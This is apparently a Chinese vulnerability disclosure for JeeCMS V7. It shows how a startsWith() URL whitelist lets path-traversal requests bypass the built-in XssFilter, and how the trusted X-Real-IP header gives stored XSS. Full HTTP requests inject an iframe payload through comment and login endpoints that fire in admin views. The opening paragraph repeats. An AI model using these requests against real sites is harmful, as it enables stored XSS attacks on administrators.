### 简要描述: 自带的XssFilter绕过。 ### 详细说明: 在官网下载最新的jeecmsV7 ``` http://**.**.**.**/fabu/41667.jhtml ``` 其中的web.xml中配置了XssFilter如下: ``` <filter> <filter-name>XssFilter</filter-name> <filter-class>**.**.**.**mon.web.XssFilter</filter-class> <init-param> <param-name>excludeUrls</param-name> <param-value>/member/contribute@/jeeadmin/jeecms@/flow_statistic</param-value> </init-param> <init-param> <param-name>SplitChar</param-name> <param-value>@</param-value> </init-param> <init-param> <param-name>FilterChar</param-name> <param-value>'@"@\@#@:@%@></param-value> </init-param> <init-param> <param-name>ReplaceChar</param-name> <param-value>‘@“@\@#@:@%@></param-value> </init-param> </filter> ``` 在**.**.**.**mon.web.XssFilter中代码如下: ``` public class XssFilter implements Filter { private String filterChar; private String replaceChar; private String splitChar; private String excludeUrls; FilterConfig filterConfig = null; public void init(FilterConfig filterConfig) throws ServletException {...
### 简要描述: 自带的XssFilter绕过。 ### 详细说明: 在官网下载最新的jeecmsV7 ``` http://**.**.**.**/fabu/41667.jhtml ``` 其中的web.xml中配置了XssFilter如下: ``` <filter> <filter-name>XssFilter</filter-name> <filter-class>**.**.**.**mon.web.XssFilter</filter-class> <init-param> <param-name>excludeUrls</param-name> <param-value>/member/contribute@/jeeadmin/jeecms@/flow_statistic</param-value> </init-param> <init-param> <param-name>SplitChar</param-name> <param-value>@</param-value> </init-param> <init-param> <param-name>FilterChar</param-name> <param-value>'@"@\@#@:@%@></param-value> </init-param> <init-param> <param-name>ReplaceChar</param-name> <param-value>‘@“@\@#@:@%@></param-value> </init-param> </filter> ``` 在**.**.**.**mon.web.XssFilter中代码如下: ``` public class XssFilter implements Filter { private String filterChar; private String replaceChar; private String splitChar; private String excludeUrls; FilterConfig filterConfig = null; public void init(FilterConfig filterConfig) throws ServletException { this.filterChar=filterConfig.getInitParameter("FilterChar"); this.replaceChar=filterConfig.getInitParameter("ReplaceChar"); this.splitChar=filterConfig.getInitParameter("SplitChar"); this.excludeUrls=filterConfig.getInitParameter("excludeUrls"); this.filterConfig = filterConfig; } public void destroy() { this.filterConfig = null; } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if(isExcludeUrl(request)){ chain.doFilter(request, response); }else{ chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request,filterChar,replaceChar,splitChar), response); } } private boolean isExcludeUrl(ServletRequest request){ boolean exclude=false; if(StringUtils.isNotBlank(excludeUrls)){ String[]excludeUrl=excludeUrls.split(splitChar); if(excludeUrl!=null&&excludeUrl.length>0){ for(String url:excludeUrl){ if(URLHelper.getURI((HttpServletRequest)request).startsWith(url)){ exclude=true; } } } } return exclude; } } ``` 注意其中的isExcludeUrl(ServletRequest request)方法,isExcludeUrl()用于排除web.xml中定义的URL(即白名单,XssFilter不检查web.xml定义页面中的XSS字符)如下(以@分割): ``` <init-param> <param-name>excludeUrls</param-name> <param-value>/member/contribute@/jeeadmin/jeecms@/flow_statistic</param-value> </init-param> ``` 在具体实现xss白名单的的时候使用的是startsWith(): ``` if(URLHelper.getURI((HttpServletRequest)request).startsWith(url)){ exclude=true; } ``` 即URI目录以以下字符开头即可绕过XssFilter的检查: ``` /member/contribute /jeeadmin/jeecms /flow_statistic ``` 再来看 RequestUtils.java中的getIpAddr(HttpServletRequest request)方法: ``` public static String getIpAddr(HttpServletRequest request) { String ip = request.getHeader("X-Real-IP"); if (!StringUtils.isBlank(ip) && !"unknown".equalsIgnoreCase(ip)) { return ip; } ip = request.getHeader("X-Forwarded-For"); if (!StringUtils.isBlank(ip) && !"unknown".equalsIgnoreCase(ip)) { // 多次反向代理后会有多个IP值,第一个为真实IP。 int index = ip.indexOf(','); if (index != -1) { return ip.substring(0, index); } else { return ip; } } else { return request.getRemoteAddr(); } } ``` 此方法用于获取ip地址,可以从以下两个HTTP头中获取: ``` X-Real-IP X-Forwarded-For ``` getIpAddr(HttpServletRequest request)在CommentAct.java中被调用: ``` @RequestMapping(value = "/comment.jspx", method = RequestMethod.POST) public void submit(Integer contentId, Integer score,String text, String captcha, HttpServletRequest request, HttpServletResponse response, ModelMap model) throws JSONException { …… cmsCommentM**.**.**.**ment(score,text, RequestUtils.getIpAddr(request), contentId, site.getId(), userId, checked, false); json.put("success", true); json.put("status", 0); } ResponseUtils.renderJson(response, json.toString()); } ``` 通过cmsCommentM**.**.**.**ment()直接把IP地址RequestUtils.getIpAddr(request)写入到数据库,首先是正常的在前台文章进行评论,抓包写入HTTP头: [<img src="https://images.seebug.org/upload/201603/070031187b696f6c364e016930a2f2ddd818716e.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/070031187b696f6c364e016930a2f2ddd818716e.png) 在后台查看可以看到>符号被替换为>: [<img src="https://images.seebug.org/upload/201603/07003157a938932112a40f4fb3d014c53b251e85.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/07003157a938932112a40f4fb3d014c53b251e85.png) 下面来开始绕过,前台评论: [<img src="https://images.seebug.org/upload/201603/06221440944e7ca9903931647424368e7761cbe7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/06221440944e7ca9903931647424368e7761cbe7.png) 抓包拦截,将URL修改为以/jeeadmin/jeecms/开头: ``` /jeeadmin/jeecms/../../comment.jspx ``` 添加获取IP的HTTP头: ``` X-Real-IP: <iframe src=http://**.**.**.**></iframe> ``` 整个包如下: ``` POST /jeeadmin/jeecms/../../comment.jspx HTTP/1.1 Host: **.**.**.**:8080 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Real-IP: <iframe src=http://**.**.**.**></iframe> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://**.**.**.**:8080/gnxw/587.jhtml Content-Length: 85 Cookie: JSESSIONID=DC196DF35057163936FA768EA9426CC5; clientlanguage=zh_CN; pgv_pvid=6516730796; _site_id_cookie=1 Connection: keep-alive text=testabc&captcha=xpxq&contentId=587&Submit=+%E9%A9%AC%E4%B8%8A%E5%8F%91%E8%A1%A8+ ``` 当管理员在后台审核评论时即可触发跨站,如下图: [<img src="https://images.seebug.org/upload/201603/06221835766406b487b0f6062e5c473e56676435.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/06221835766406b487b0f6062e5c473e56676435.png) RequestUtils.getIpAddr(request)还在登录时被调用了,前台登录: ``` POST /jeeadmin/jeecms/../../login.jspx HTTP/1.1 Host: **.**.**.**:8080 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Real-IP: <iframe src=http://**.**.**.**></iframe> Referer: http://**.**.**.**:8080/login.jspx?returnUrl=/ Cookie: JSESSIONID=E83E40D41B18500DEC0DB3C1EFD1A749; clientlanguage=zh_CN; pgv_pvid=6516730796; _site_id_cookie=1; __qc_wId=506 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 59 returnUrl=%2F&username=xxooxx1&password=111111&captcha=dupa ``` 登录成功后,管理员在后台点击用户模块即可触发跨站: [<img src="https://images.seebug.org/upload/201603/062224300f211979e6d5904baa3ea6903b7383f4.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/062224300f211979e6d5904baa3ea6903b7383f4.png) RequestUtils.getIpAddr(request),后台登录调用: ``` POST /jeeadmin/jeecms/login.do HTTP/1.1 Host: **.**.**.**:8080 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Real-IP: <iframe src=http://**.**.**.**></iframe> Referer: **.**.**.**:8080/jeeadmin/jeecms/login.do Cookie: pgv_pvid=1466705356; tm_last_login_uid=postmaster; tm_last_login_domain=root; tm_ibc=0; JSESSIONID=38DA86D43D85C0174FB6B08D407973A4; clientlanguage=zh_CN; _site_id_cookie=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 58 username=aaaaaaa&password=aaaaaaaa&submit.x=21&submit.y=10 ``` 管理员在后台查看登录失败日志即可触发跨站: [<img src="https://images.seebug.org/upload/201603/06222745d9493bc305af8f13e5f4b8510b263bb5.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/06222745d9493bc305af8f13e5f4b8510b263bb5.png) ### 漏洞证明: 同上